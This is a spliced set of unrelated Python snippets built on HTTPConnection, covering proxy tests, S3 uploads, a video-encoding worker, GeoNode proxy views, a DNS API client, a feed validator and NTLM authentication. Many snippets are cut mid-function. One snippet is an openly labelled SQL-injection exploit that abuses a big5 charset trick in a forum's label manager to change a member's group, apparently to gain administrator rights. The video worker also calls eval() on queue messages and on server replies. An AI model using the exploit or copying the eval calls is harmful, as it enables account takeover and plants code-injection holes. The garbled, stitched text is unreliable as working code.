"GwIpAddress": "172.16.102.118"
}
}
]
},
"nsd": {
"Id": "Req1",
"name": "req1",
"VNFs": [
{
"VNFid": "VNFa",
"instances": 1,
"requirements": {
"cpu": 3,
"ram": 8,
"storage": 1
}
},
{
"VNFid": "VNFb",
"instances": 2,
"requirements": {
"cpu": 4,
"ram": 5,
"storage": 2
}
}
],
"VNFLinks": [
{
"source": "172.16.102.116",
"required_capacity": 1250000
}
],
"max_latency": 9.6
},
"callback": "string"
}
self.conn.request("POST", path, dumps(data), self.headers)
self.conn.sock.settimeout(self.timeout)
rsp = self.conn.getresponse()
data = rsp.read()
self.assertEqual(rsp.status, 201)
def run(self):
if self.file:
dataFile = open(self.file, "r")
cdata = dataFile.read()
conn = HTTPConnection(self.proxy)
conn.request("GET", self.url)
resp = conn.getresponse()
rdata = resp.read()
if rdata == cdata:
self.result = True
self.data = rdata
conn.close()
dataFile.close()
else:
conn = HTTPConnection(self.proxy)
conn.request("GET", self.url)
resp = conn.getresponse()
rdata = resp.read()
if resp.status == httplib.OK:
self.result = True
conn.close()
def __call__ (self, host, req):
conn = HTTPConnection (host)
conn.request ("GET", req)
r = conn.getresponse()
return r.read()
except KeyboardInterrupt:
self.server.socket.close()
try:
conf = open("./portconf", "r")
pport = conf.readline().rstrip().split(':')[1]
sport1 = conf.readline().rstrip().split(':')[1]
sport2 = conf.readline().rstrip().split(':')[1]
server1 = ServerThread(int(sport1))
server1.start()
dataFile = open('basic', "r")
cdata = dataFile.read()
r = False
proxy = '127.0.0.1:' + pport
conn = HTTPConnection(proxy)
conn.request("GET", "http://127.0.0.1:" + sport1 + "/basic")
resp = conn.getresponse()
data = resp.read()
conn.close()
time.sleep(3)
conn2 = HTTPConnection(proxy)
conn2.request("GET", "http://127.0.0.1:" + sport1 + "/basic")
resp2 = conn2.getresponse()
data2 = resp2.read()
conn2.close()
time.sleep(3)
conn3 = HTTPConnection(proxy)
conn3.request("GET", "http://127.0.0.1:" + sport1 + "/basic")
def file_to_url(method,
url,
file,
content_type='application/octet-stream',
user_token=None,
product_token=None):
hash = md5.new()
length = 0
while True:
block = file.read(4096)
if not block:
break
length += len(block)
hash.update(block)
headers = devpay_headers(user_token, product_token)
headers = rest_headers(method, url, hash, content_type, headers)
file.seek(0)
#print 'Content-Length:', str(length)
headers['Content-Length'] = str(length)
c = HTTPConnection(REST_HOST)
#c.set_debuglevel(9)
c.connect()
c.putrequest(method, url)
for key, value in headers.items():
c.putheader(key, value)
c.endheaders()
while length > 4096:
block = file.read(4096)
if not block:
raise "Unexpected EOF"
c.send(block)
sys.stdout.write('.')
sys.stdout.flush()
length -= len(block)
while length > 0:
block = file.read(length)
if not block:
raise "Unexpected EOF"
c.send(block)
length -= len(block)
return c.getresponse()
def CreateLabels(self):
print "[+] Creating three labels..."
for i in range (0,3):
conn = HTTPConnection(target,port)
conn.request("POST", path + "index.php?action=pm;sa=manlabels;sesc="+self.sesc, urlencode({"label" : i, "add" : "Add+New+Label"}), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded","Referer": "http://" + target + path + "/index.php?action=pm;sa=manlabels", "Cookie": sn + "=" + sv + ";"})
sleep(4)
def Inject(self):
print "[+] Sql code is going to be injected."
conn = HTTPConnection(target,port)
conn.request("POST", path + "index.php?debug;action=pm;sa=manlabels;sesc="+self.sesc, urlencode({"label_name[0]" : "o rly" + unquote("%a3%27"),"label_name[1]" : "ID_GROUP=1 WHERE/*", "label_name[2]" : "*/ID_MEMBER=" + uid + "/*", "save" : "Save", "sc" : self.sesc, "db_character_set": "big5"}), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded","Referer": "http://" + target + path + "/index.php?action=pm;sa=manlabels", "Cookie": sn + "=" + sv + "; 1102461922=1; -1283274824=1;"})
video_queue = connection.channel()
video_queue.queue_declare(queue=settings.QUEUE_NAME, durable=True)
use_s3 = settings.USE_S3
if use_s3:
s3 = boto.connect_s3(settings.AWS_ACCESS_KEY_ID,
settings.AWS_SECRET_ACCESS_KEY)
bucket = s3.get_bucket(settings.AWS_VIDEO_BUCKET_NAME)
ec2_name = settings.INSTANCE_NAME
tmp_folder = os.path.dirname(os.path.abspath(__file__))
if not use_s3:
tmp_folder = os.path.join(tmp_folder, os.path.pardir, os.path.pardir,
'media', 'tmp')
conn = HTTPConnection(settings.DOMAIN_NAME)
conn.request("GET", "/amazon/ec2-ready/%s/" % settings.INSTANCE_ID)
conn.getresponse()
def encode(ch, method, properties, body):
"""Fetches the temporary video file from s3 and encodes both web and mobile
versions.
Communicates with the screenbird server with the following
- sets the `ec2_node` field of the associated `VideoStatus` for the video
for identification of where to get encoding progress output of ffmpeg
- sets the `web_available` field of the associated `VideoStatus` for the
video after successfully encoding the web version
- sets the `mobile_available` field of the associated `VideoStatus` for the
video after successfully encoding the mobile version
def send(self, astr):
HTTPConnection.send(self, astr)
self.request_length += len(astr)
def encode(ch, method, properties, body):
"""Fetches the temporary video file from s3 and encodes both web and mobile
versions.
Communicates with the screenbird server with the following
- sets the `ec2_node` field of the associated `VideoStatus` for the video
for identification of where to get encoding progress output of ffmpeg
- sets the `web_available` field of the associated `VideoStatus` for the
video after successfully encoding the web version
- sets the `mobile_available` field of the associated `VideoStatus` for the
video after successfully encoding the mobile version
- sets the `video_duration` field of the associated `Video` object
"""
param = eval(body)
slug_tmp = param[0]
host = param[1]
mp4 = os.path.join(tmp_folder, "%s.mp4" % slug_tmp)
slug = slug_tmp.replace("_tmp", "")
text_file = os.path.join(tmp_folder, "%s.txt" % slug)
output_mp4 = os.path.join(tmp_folder, "%s.mp4" % slug)
output_mobile_mp4 = os.path.join(tmp_folder, "%s__mobile.mp4" % slug)
if not use_s3:
shutil.copyfile(output_mp4, mp4)
if use_s3:
key = bucket.get_key(slug_tmp)
else:
key = slug
logger.info("Started encoding for %s" % slug_tmp)
# Define these as variables to make it easier to change later on if need be
set_encoding_url = "/set-encoding-ec2/%s/%s/"
set_available_url = "/set-available/%s/%s/"
time_diff = None
if key:
if use_s3:
# Download source video to be encoded
try:
key.get_contents_to_filename(mp4)
except:
ch.basic_ack(delivery_tag=method.delivery_tag)
# Notify requesting server that video is being processed
try:
conn = HTTPConnection(host)
conn.request("GET", set_encoding_url % (slug, ec2_name))
response = conn.getresponse()
except Exception, e:
pass
logger.info("Encoding for %s - web version" % slug_tmp)
available = False
# Check from requesting server if video is already encoded
try:
conn = HTTPConnection(host)
conn.request("GET", "/is-available/%s/%s/" % (slug, 'web'))
response = conn.getresponse()
available = eval(response.read())
except:
pass
try:
# Start encoding for video if not yet encoded
if not available:
start_time = datetime.datetime.now()
encode_video({
'mp4': str(mp4),
'output_mp4': str(output_mp4),
'text_file': str(text_file)
})
end_time = datetime.datetime.now()
time_diff = end_time - start_time
logger.info("Web encoding time: %s" % time_diff)
else:
logger.info(
"Encoded version for %s already available - web version" %
slug_tmp)
except Exception, e:
logger.info("Encoding for %s failed - web version: %s" %
(slug_tmp, e))
ch.basic_ack(delivery_tag=method.delivery_tag)
ch.basic_publish(exchange='',
routing_key=settings.QUEUE_NAME,
body=body)
def __init__(self, host, port=None, strict=None):
HTTPConnection.__init__(self, host, port, strict)
self.request_length = 0
def geoserver_rest_proxy(request, proxy_path, downstream_path, workspace=None):
if not request.user.is_authenticated():
return HttpResponse(
"You must be logged in to access GeoServer",
content_type="text/plain",
status=401)
def strip_prefix(path, prefix):
assert path.startswith(prefix)
return path[len(prefix):]
path = strip_prefix(request.get_full_path(), proxy_path)
access_token = None
if 'access_token' in request.session:
access_token = request.session['access_token']
headers = {}
affected_layers = None
cookies = None
for cook in request.COOKIES:
name = str(cook)
value = request.COOKIES.get(name)
if name == 'csrftoken':
headers['X-CSRFToken'] = value
cook = "%s=%s" % (name, value)
if not cookies:
cookies = cook
else:
cookies = cookies + '; ' + cook
# if cookies:
# if 'JSESSIONID' in request.session and request.session['JSESSIONID']:
# cookies = cookies + '; JSESSIONID=' + \
# request.session['JSESSIONID']
# headers['Cookie'] = cookies
if 'HTTP_AUTHORIZATION' in request.META:
auth = request.META.get('HTTP_AUTHORIZATION', request.META.get('HTTP_AUTHORIZATION2'))
if auth:
headers['Authorization'] = auth
elif access_token:
# TODO: Bearer is currently cutted of by Djano / GeoServer
if request.method in ("POST", "PUT"):
if access_token:
headers['Authorization'] = 'Bearer {}'.format(access_token)
if access_token and 'access_token' not in path:
query_separator = '&' if '?' in path else '?'
path = ('%s%saccess_token=%s' % (path, query_separator, access_token))
raw_url = str("".join([ogc_server_settings.LOCATION, downstream_path, path]))
if settings.DEFAULT_WORKSPACE or workspace:
ws = (workspace or settings.DEFAULT_WORKSPACE)
if ws and ws in path:
# Strip out WS from PATH
try:
path = "/%s" % strip_prefix(path, "/%s:" % (ws))
except:
pass
if downstream_path in ('rest/styles') and len(request.body) > 0:
# Lets try http://localhost:8080/geoserver/rest/workspaces/<ws>/styles/<style>.xml
_url = str("".join([ogc_server_settings.LOCATION,
'rest/workspaces/', ws, '/styles',
path]))
raw_url = _url
url = urlsplit(raw_url)
if url.scheme == 'https':
conn = HTTPSConnection(url.hostname, url.port)
else:
conn = HTTPConnection(url.hostname, url.port)
if request.method in ("POST", "PUT") and "CONTENT_TYPE" in request.META:
headers["Content-Type"] = request.META["CONTENT_TYPE"]
# if user is not authorized, we must stop him
# we need to sync django here and check if some object (styles) can
# be edited by the user
# we should remove this geonode dependency calling layers.views straight
# from GXP, bypassing the proxy
if downstream_path in ('rest/styles', 'rest/layers', 'rest/workspaces') and len(request.body) > 0:
if not style_change_check(request, downstream_path):
return HttpResponse(
_("You don't have permissions to change style for this layer"),
content_type="text/plain",
status=401)
elif downstream_path == 'rest/styles':
logger.info("[geoserver_rest_proxy] Updating Style to ---> url %s" % url.path)
affected_layers = style_update(request, raw_url)
conn.request(request.method, raw_url, request.body, headers=headers)
response = conn.getresponse()
content = response.read()
status = response.status
content_type = response.getheader("Content-Type", "text/plain")
# update thumbnails
if affected_layers:
for layer in affected_layers:
logger.debug('Updating thumbnail for layer with uuid %s' % layer.uuid)
create_gs_thumbnail(layer, True)
return HttpResponse(
content=content,
status=status,
content_type=content_type)
class DynectRest(object):
"""
A class for interacting with the Dynect Managed DNS REST API.
@ivar host: The host to connect to (defaults to api.dynect.net)
@type host: C{str}
@ivar port: The port to connect to (defaults to 443)
@type port: C{int}
@ivar ssl: A boolean indicating whether or not to use SSL encryption
(defaults to True)
@type ssl: C{bool}
@ivar poll_incomplete: A boolean indicating whether we should continue to
poll for a result if a job comes back as incomplete (defaults to True)
@type poll_incomplete: C{bool}
@ivar api_version: The version of the API to request (defaults to
"current")
@type api_version: C{str}
"""
def __init__(self,
host='api.dynect.net',
port=443,
ssl=True,
api_version="current"):
"""
Basic initializer method
@param host: The host to connect to
@type host: C{str}
@param port: The port to connect to
@type port: C{int}
@param ssl: A boolean indicating whether or not to use SSL encryption
@type ssl: C{bool}
"""
self.host = host
self.port = port
self.ssl = ssl
# Continue polling for response if a job comes back as incomplete?
self.poll_incomplete = True
self.verbose = False
self.api_version = api_version
self.content_type = "application/json"
self._token = None
self._conn = None
self._last_response = None
self._valid_methods = set(('DELETE', 'GET', 'POST', 'PUT'))
def _debug(self, msg):
"""
Debug output.
"""
if self.verbose:
sys.stderr.write(msg)
def connect(self):
"""
Establishes a connection to the REST API server as defined by the host,
port and ssl instance variables
"""
if self._token:
self._debug("Forcing logout from old session.\n")
orig_value = self.poll_incomplete
self.poll_incomplete = False
self.execute('/REST/Session', 'DELETE')
self.poll_incomplete = orig_value
self._token = None
self._conn = None
if self.ssl:
msg = "Establishing SSL connection to %s:%s\n" % (self.host,
self.port)
self._debug(msg)
self._conn = HTTPSConnection(self.host, self.port)
else:
msg = "Establishing unencrypted connection to %s:%s\n" % (
self.host, self.port)
self._debug(msg)
self._conn = HTTPConnection(self.host, self.port)
def execute(self, uri, method, args=None):
"""
Execute a commands against the rest server
@param uri: The uri of the resource to access. /REST/ will be prepended
if it is not at the beginning of the uri.
@type uri: C{str}
@param method: One of 'DELETE', 'GET', 'POST', or 'PUT'
@type method: C{str}
@param args: Any arguments to be sent as a part of the request
@type args: C{dict}
"""
if self._conn == None:
self._debug("No established connection\n")
self.connect()
# Make sure the command is prefixed by '/REST/'
if not uri.startswith('/'):
uri = '/' + uri
if not uri.startswith('/REST'):
uri = '/REST' + uri
# Make sure the method is valid
if method.upper() not in self._valid_methods:
msg = "%s is not a valid HTTP method. Please use one of %s" % (
method, ", ".join(self._valid_methods))
raise ValueError(msg)
# Prepare arguments
if args is None:
args = {}
args = self.format_arguments(args)
self._debug("uri: %s, method: %s, args: %s\n" % (uri, method, args))
# Send the command and deal with results
self.send_command(uri, method, args)
# Deal with the results
response = self._conn.getresponse()
body = response.read()
self._last_response = response
if self.poll_incomplete:
response, body = self.poll_response(response, body)
self._last_response = response
if sys.version_info[0] == 2:
ret_val = json.loads(body)
elif sys.version_info[0] == 3:
ret_val = json.loads(body.decode('UTF-8'))
self._meta_update(uri, method, ret_val)
return ret_val
def _meta_update(self, uri, method, results):
"""
Private method, not intended for use outside the class
"""
# If we had a successful log in, update the token
if uri.startswith('/REST/Session') and method == 'POST':
if results['status'] == 'success':
self._token = results['data']['token']
# Otherwise, if it's a successful logout, blank the token
if uri.startswith('/REST/Session') and method == 'DELETE':
if results['status'] == 'success':
self._token = None
def poll_response(self, response, body):
"""
Looks at a response from a REST command, and while indicates that the
job is incomplete, poll for response
"""
while response.status == 307:
time.sleep(1)
uri = response.getheader('Location')
self._debug("Polling %s\n" % uri)
self.send_command(uri, "GET", '')
response = self._conn.getresponse()
body = response.read()
return response, body
def send_command(self, uri, method, args):
"""
Responsible for packaging up the API request and sending it to the
server over the established connection
@param uri: The uri of the resource to interact with
@type uri: C{str}
@param method: The HTTP method to use
@type method: C{str}
@param args: Encoded arguments to send to the server
@type args: C{str}
"""
if '%' not in uri:
uri = pathname2url(uri)
self._conn.putrequest(method, uri)
# Build headers
headers = {
'Content-Type': self.content_type,
'API-Version': self.api_version,
}
if self._token is not None:
headers['Auth-Token'] = self._token
for key, val in headers.items():
self._conn.putheader(key, val)
# Now the arguments
self._conn.putheader('Content-length', '%d' % len(args))
self._conn.endheaders()
if sys.version_info[0] == 2:
self._conn.send(args)
elif sys.version_info[0] == 3:
self._conn.send(bytes(args, 'UTF-8'))
def format_arguments(self, args):
"""
Converts the argument dictionary to the format needed to transmit the
REST request.
@param args: Arguments to be passed to the REST call
@type args: C{dict}
@return: The encoded string to send in the REST request body
@rtype: C{str}
"""
args = json.dumps(args)
return args
def validateURL(url, firstOccurrenceOnly=1, wantRawData=0, groupEvents=0):
"""validate RSS from URL, returns events list, or (events, rawdata) tuple"""
loggedEvents = []
request = urllib2.Request(url)
request.add_header("Accept-encoding", "gzip, deflate")
request.add_header("User-Agent", "FeedValidator/1.3")
usock = None
ctx2 = ssl.create_default_context()
ctx1 = ssl.create_default_context()
ctx2.set_ciphers('ALL:@SECLEVEL=2')
ctx1.set_ciphers('ALL:@SECLEVEL=1')
try:
try:
try:
usock = urllib2.urlopen(request, context=ctx2)
except urllib2.URLError as x:
import re
if True or re.search("WRONG_SIGNATURE_TYPE", x.reason):
loggedEvents.append(
HttpsProtocolWarning(
{'message':
"Weak signature used by HTTPS server"}))
usock = urllib2.urlopen(request, context=ctx1)
else:
raise x
rawdata = usock.read(MAXDATALENGTH)
if usock.read(1):
raise ValidationFailure(
logging.ValidatorLimit({
'limit':
'feed length > ' + str(MAXDATALENGTH) + ' bytes'
}))
# check for temporary redirects
if usock.geturl() != request.get_full_url():
from urlparse import urlsplit
(scheme, netloc, path, query, fragment) = urlsplit(url)
if scheme == 'http':
from httplib import HTTPConnection
requestUri = (path or '/') + (query and '?' + query)
conn = HTTPConnection(netloc)
conn.request("GET", requestUri)
resp = conn.getresponse()
if resp.status != 301:
loggedEvents.append(TempRedirect({}))
except BadStatusLine as status:
raise ValidationFailure(
logging.HttpError({'status': status.__class__}))
except urllib2.HTTPError as status:
rawdata = status.read()
if len(rawdata) < 512 or 'content-encoding' in status.headers:
loggedEvents.append(logging.HttpError({'status': status}))
usock = status
else:
rawdata = re.sub('<!--.*?-->', '', rawdata)
lastline = rawdata.strip().split('\n')[-1].strip()
if sniffPossibleFeed(rawdata):
loggedEvents.append(logging.HttpError({'status': status}))
loggedEvents.append(logging.HttpErrorWithPossibleFeed({}))
usock = status
else:
raise ValidationFailure(
logging.HttpError({'status': status}))
except urllib2.URLError as x:
raise ValidationFailure(logging.HttpError({'status': x.reason}))
except Timeout as x:
raise ValidationFailure(
logging.IOError({
"message": 'Server timed out',
"exception": x
}))
except Exception as x:
raise ValidationFailure(
logging.IOError({
"message": x.__class__.__name__,
"exception": x
}))
if usock.headers.get('content-encoding', None) == None:
loggedEvents.append(Uncompressed({}))
if usock.headers.get('content-encoding', None) == 'gzip':
import gzip, StringIO
try:
rawdata = gzip.GzipFile(
fileobj=StringIO.StringIO(rawdata)).read()
except:
import sys
exctype, value = sys.exc_info()[:2]
event = logging.IOError({
"message":
'Server response declares Content-Encoding: gzip',
"exception": value
})
raise ValidationFailure(event)
if usock.headers.get('content-encoding', None) == 'deflate':
import zlib
try:
rawdata = zlib.decompress(rawdata, -zlib.MAX_WBITS)
except:
import sys
exctype, value = sys.exc_info()[:2]
event = logging.IOError({
"message":
'Server response declares Content-Encoding: deflate',
"exception": value
})
raise ValidationFailure(event)
if usock.headers.get('content-type',
None) == 'application/vnd.google-earth.kmz':
import tempfile, zipfile, os
try:
(fd, tempname) = tempfile.mkstemp()
os.write(fd, rawdata)
os.close(fd)
zfd = zipfile.ZipFile(tempname)
namelist = zfd.namelist()
for name in namelist:
if name.endswith('.kml'):
rawdata = zfd.read(name)
zfd.close()
os.unlink(tempname)
except:
import sys
value = sys.exc_info()[:1]
event = logging.IOError({
"message": 'Problem decoding KMZ',
"exception": value
})
raise ValidationFailure(event)
mediaType = None
charset = None
# Is the Content-Type correct?
contentType = usock.headers.get('content-type', None)
if contentType:
(mediaType,
charset) = mediaTypes.checkValid(contentType, loggedEvents)
# Check for malformed HTTP headers
for (h, v) in usock.headers.items():
if (h.find(' ') >= 0):
loggedEvents.append(HttpProtocolError({'header': h}))
selfURIs = [request.get_full_url()]
baseURI = usock.geturl()
if not baseURI in selfURIs: selfURIs.append(baseURI)
# Get baseURI from content-location and/or redirect information
if usock.headers.get('content-location', None):
from urlparse import urljoin
baseURI = urljoin(baseURI,
usock.headers.get('content-location', ""))
elif usock.headers.get('location', None):
from urlparse import urljoin
baseURI = urljoin(baseURI, usock.headers.get('location', ""))
if not baseURI in selfURIs: selfURIs.append(baseURI)
usock.close()
usock = None
mediaTypes.contentSniffing(mediaType, rawdata, loggedEvents)
encoding, rawdata = xmlEncoding.decode(mediaType,
charset,
rawdata,
loggedEvents,
fallback='utf-8')
if rawdata is None:
return {'loggedEvents': loggedEvents}
rawdata = rawdata.replace('\r\n', '\n').replace('\r',
'\n') # normalize EOL
validator = _validate(rawdata,
firstOccurrenceOnly,
loggedEvents,
baseURI,
encoding,
selfURIs,
mediaType=mediaType,
groupEvents=groupEvents)
# Warn about mismatches between media type and feed version
if mediaType and validator.feedType:
mediaTypes.checkAgainstFeedType(mediaType, validator.feedType,
validator.loggedEvents)
params = {
"feedType": validator.feedType,
"loggedEvents": validator.loggedEvents
}
if wantRawData:
params['rawdata'] = rawdata
return params
finally:
try:
if usock: usock.close()
except:
pass
def putrequest(self, *args, **kw):
self.url = args[1]
response = self.fakedata.pop(0) # get first response
self.sock = FakeSocket(response) # and set up a fake socket
output.new() # as well as an output buffer
HTTPConnection.putrequest(self, *args, **kw)
def __init__(self, host, port=None, strict=None, timeout=None):
HTTPConnection.__init__(self, host, port, strict)
self._timeout = timeout
def make_connection(self, host):
h = HTTPConnection(host, timeout=self.timeout)
return h
def connect(self):
HTTPConnection.connect(self)
if self.sock and self._timeout:
self.sock.settimeout(self._timeout)
def connect(self):
HTTPConnection.connect(self)
self.sock.settimeout(self.timeout)
def makeRequest(url,
values=None,
verb='GET',
accept="text/plain",
contentType=None,
secure=False,
secureParam={}):
headers = {}
contentType = contentType or "application/x-www-form-urlencoded"
headers = {
"content-type": contentType,
"Accept": accept,
"cms-auth-status": "NONE"
}
if secure:
headers.update({
"cms-auth-status":
"OK",
"cms-authn-dn":
"/DC=ch/OU=Organic Units/OU=Users/CN=Fake User",
"cms-authn-name":
"Fake User",
"cms-authz-%s" % secureParam['role']:
"group:%s site:%s" % (secureParam['group'], secureParam['site'])
})
headers["cms-authn-hmac"] = _generateHash(secureParam["key"], headers)
data = None
if verb == 'GET' and values:
data = urllib.urlencode(values, doseq=True)
elif verb != 'GET' and values:
# needs to test other encoding type
if contentType == "application/x-www-form-urlencoded":
data = urllib.urlencode(values)
else:
# for other encoding scheme values assumed to be encoded already
data = values
parser = urlparse(url)
uri = parser.path
if parser.query:
uri += "?" + parser.query
if verb == 'GET' and data != None:
uri = '%s?%s' % (uri, data)
# need to specify Content-length for POST method
# TODO: this function needs refactoring - too verb-related branching
if verb != 'GET':
if data:
headers.update({"content-length": len(data)})
else:
headers.update({"content-length": 0})
conn = HTTPConnection(parser.netloc)
conn.connect()
conn.request(verb, uri, data, headers)
response = conn.getresponse()
data = response.read()
conn.close()
cType = response.getheader('content-type').split(';')[0]
return data, response.status, cType, response
def retry_using_http_NTLM_auth(self, req, auth_header_field, realm,
headers):
user, pw = self.passwd.find_user_password(realm, req.get_full_url())
if pw is not None:
user_parts = user.split('\\', 1)
if len(user_parts) == 1:
UserName = user_parts[0]
DomainName = ''
type1_flags = ntlm.NTLM_TYPE1_FLAGS & ~ntlm.NTLM_NegotiateOemDomainSupplied
else:
DomainName = user_parts[0].upper()
UserName = user_parts[1]
type1_flags = ntlm.NTLM_TYPE1_FLAGS
# ntlm secures a socket, so we must use the same socket for the complete handshake
headers = dict(req.headers)
headers.update(req.unredirected_hdrs)
auth = 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE(
user, type1_flags)
if req.headers.get(self.auth_header, None) == auth:
return None
headers[self.auth_header] = auth
host = req.host
if not host:
raise urllib2.URLError('no host given')
h = None
if req.get_full_url().startswith('https://'):
h = HTTPSConnection(host) # will parse host:port
else:
h = HTTPConnection(host) # will parse host:port
h.set_debuglevel(self._debuglevel)
# we must keep the connection because NTLM authenticates the connection, not single requests
headers["Connection"] = "Keep-Alive"
headers = dict(
(name.title(), val) for name, val in headers.items())
# For some reason, six doesn't do this translation correctly
# TODO rsanders low - find bug in six & fix it
try:
selector = req.selector
except AttributeError:
selector = req.get_selector()
h.request(req.get_method(), selector, req.data, headers)
r = h.getresponse()
r.begin()
r._safe_read(int(r.getheader('content-length')))
if r.getheader('set-cookie'):
# this is important for some web applications that store authentication-related info in cookies (it took a long time to figure out)
headers['Cookie'] = r.getheader('set-cookie')
r.fp = None # remove the reference to the socket, so that it can not be closed by the response object (we want to keep the socket open)
auth_header_value = r.getheader(auth_header_field, None)
# some Exchange servers send two WWW-Authenticate headers, one with the NTLM challenge
# and another with the 'Negotiate' keyword - make sure we operate on the right one
m = re.match('(NTLM [A-Za-z0-9+\-/=]+)', auth_header_value)
if m:
auth_header_value, = m.groups()
(ServerChallenge,
NegotiateFlags) = ntlm.parse_NTLM_CHALLENGE_MESSAGE(
auth_header_value[5:])
auth = 'NTLM %s' % ntlm.create_NTLM_AUTHENTICATE_MESSAGE(
ServerChallenge, UserName, DomainName, pw, NegotiateFlags)
headers[self.auth_header] = auth
headers["Connection"] = "Close"
headers = dict(
(name.title(), val) for name, val in headers.items())
try:
h.request(req.get_method(), selector, req.data, headers)
# none of the configured handlers are triggered, for example redirect-responses are not handled!
response = h.getresponse()
def notimplemented():
raise NotImplementedError
response.readline = notimplemented
infourl = urllib.addinfourl(response, response.msg,
req.get_full_url())
infourl.code = response.status
infourl.msg = response.reason
return infourl
except socket.error as err:
raise urllib2.URLError(err)
else:
return None
def __init__(self, host, port, timeout):
HTTPConnection.__init__(self, host, port)
self.timeout = timeout
def proxy(request,
url=None,
response_callback=None,
sec_chk_hosts=True,
sec_chk_rules=True,
**kwargs):
# Security rules and settings
PROXY_ALLOWED_HOSTS = getattr(settings, 'PROXY_ALLOWED_HOSTS', ())
# Sanity url checks
if 'url' not in request.GET and not url:
return HttpResponse(
"The proxy service requires a URL-encoded URL as a parameter.",
status=400,
content_type="text/plain")
raw_url = url or request.GET['url']
raw_url = urljoin(settings.SITEURL,
raw_url) if raw_url.startswith("/") else raw_url
url = urlsplit(raw_url)
locator = str(url.path)
if url.query != "":
locator += '?' + url.query
if url.fragment != "":
locator += '#' + url.fragment
access_token = None
if request and 'access_token' in request.session:
access_token = request.session['access_token']
# White-Black Listing Hosts
if sec_chk_hosts and not settings.DEBUG:
site_url = urlsplit(settings.SITEURL)
if site_url.hostname not in PROXY_ALLOWED_HOSTS:
PROXY_ALLOWED_HOSTS += (site_url.hostname, )
if check_ogc_backend(geoserver.BACKEND_PACKAGE):
from geonode.geoserver.helpers import ogc_server_settings
hostname = (
ogc_server_settings.hostname, ) if ogc_server_settings else ()
if hostname not in PROXY_ALLOWED_HOSTS:
PROXY_ALLOWED_HOSTS += hostname
if url.query and ows_regexp.match(url.query):
ows_tokens = ows_regexp.match(url.query).groups()
if len(
ows_tokens
) == 4 and 'version' == ows_tokens[0] and StrictVersion(
ows_tokens[1]) >= StrictVersion("1.0.0") and StrictVersion(
ows_tokens[1]
) <= StrictVersion("3.0.0") and ows_tokens[2].lower() in (
'getcapabilities') and ows_tokens[3].upper() in (
'OWS', 'WCS', 'WFS', 'WMS', 'WPS', 'CSW'):
if url.hostname not in PROXY_ALLOWED_HOSTS:
PROXY_ALLOWED_HOSTS += (url.hostname, )
if not validate_host(url.hostname, PROXY_ALLOWED_HOSTS):
return HttpResponse(
"DEBUG is set to False but the host of the path provided to the proxy service"
" is not in the PROXY_ALLOWED_HOSTS setting.",
status=403,
content_type="text/plain")
# Security checks based on rules; allow only specific requests
if sec_chk_rules:
# TODO: Not yet implemented
pass
# Collecting headers and cookies
headers = {}
cookies = None
csrftoken = None
if settings.SESSION_COOKIE_NAME in request.COOKIES and is_safe_url(
url=raw_url, host=url.hostname):
cookies = request.META["HTTP_COOKIE"]
for cook in request.COOKIES:
name = str(cook)
value = request.COOKIES.get(name)
if name == 'csrftoken':
csrftoken = value
cook = "%s=%s" % (name, value)
cookies = cook if not cookies else (cookies + '; ' + cook)
csrftoken = get_token(request) if not csrftoken else csrftoken
if csrftoken:
headers['X-Requested-With'] = "XMLHttpRequest"
headers['X-CSRFToken'] = csrftoken
cook = "%s=%s" % ('csrftoken', csrftoken)
cookies = cook if not cookies else (cookies + '; ' + cook)
if cookies:
if 'JSESSIONID' in request.session and request.session['JSESSIONID']:
cookies = cookies + '; JSESSIONID=' + \
request.session['JSESSIONID']
headers['Cookie'] = cookies
if request.method in ("POST", "PUT") and "CONTENT_TYPE" in request.META:
headers["Content-Type"] = request.META["CONTENT_TYPE"]
access_token = None
if request and 'access_token' in request.session:
access_token = request.session['access_token']
if access_token:
# TODO: Bearer is currently cutted of by Djano / GeoServer
if request.method in ("POST", "PUT"):
headers['Authorization'] = 'Bearer %s' % access_token
if access_token and 'access_token' not in locator:
query_separator = '&' if '?' in locator else '?'
locator = ('%s%saccess_token=%s' %
(locator, query_separator, access_token))
elif 'HTTP_AUTHORIZATION' in request.META:
auth = request.META.get('HTTP_AUTHORIZATION',
request.META.get('HTTP_AUTHORIZATION2'))
if auth:
headers['Authorization'] = auth
site_url = urlsplit(settings.SITEURL)
pragma = "no-cache"
referer = request.META[
"HTTP_REFERER"] if "HTTP_REFERER" in request.META else \
"{scheme}://{netloc}/".format(scheme=site_url.scheme,
netloc=site_url.netloc)
encoding = request.META[
"HTTP_ACCEPT_ENCODING"] if "HTTP_ACCEPT_ENCODING" in request.META else "gzip"
headers.update({
"Pragma": pragma,
"Referer": referer,
"Accept-encoding": encoding,
})
if url.scheme == 'https':
conn = HTTPSConnection(url.hostname, url.port)
else:
conn = HTTPConnection(url.hostname, url.port)
conn.request(request.method, locator.encode('utf8'), request.body, headers)
response = conn.getresponse()
content = response.read()
status = response.status
content_type = response.getheader("Content-Type", "text/plain")
# decompress GZipped responses if not enabled
if content and response.getheader('Content-Encoding') == 'gzip':
from StringIO import StringIO
import gzip
buf = StringIO(content)
f = gzip.GzipFile(fileobj=buf)
content = f.read()
if response_callback:
kwargs = {} if not kwargs else kwargs
kwargs.update({
'response': response,
'content': content,
'status': status,
'content_type': content_type
})
return response_callback(**kwargs)
else:
# If we get a redirect, let's add a useful message.
if status in (301, 302, 303, 307):
_response = HttpResponse(
('This proxy does not support redirects. The server in "%s" '
'asked for a redirect to "%s"' %
(url, response.getheader('Location'))),
status=status,
content_type=content_type)
_response['Location'] = response.getheader('Location')
return _response
else:
return HttpResponse(content=content,
status=status,
content_type=content_type)
def _enrich_layer_metadata(self, geonode_layer):
url = urlsplit(self.url)
if url.scheme == 'https':
conn = HTTPSConnection(url.hostname, url.port)
else:
conn = HTTPConnection(url.hostname, url.port)
workspace, layername = geonode_layer.name.split(
":") if ":" in geonode_layer.name else (None, geonode_layer.name)
conn.request('GET', '/api/layers/?name=%s' % layername, '', {})
response = conn.getresponse()
content = response.read()
status = response.status
content_type = response.getheader("Content-Type", "text/plain")
if status == 200 and 'application/json' == content_type:
try:
_json_obj = json.loads(content)
if _json_obj['meta']['total_count'] == 1:
_layer = _json_obj['objects'][0]
if _layer:
r_fields = {}
# Update plain fields
for field in GeoNodeServiceHandler.LAYER_FIELDS:
if field in _layer and _layer[field]:
r_fields[field] = _layer[field]
if r_fields:
Layer.objects.filter(id=geonode_layer.id).update(
**r_fields)
geonode_layer.refresh_from_db()
# Update Thumbnail
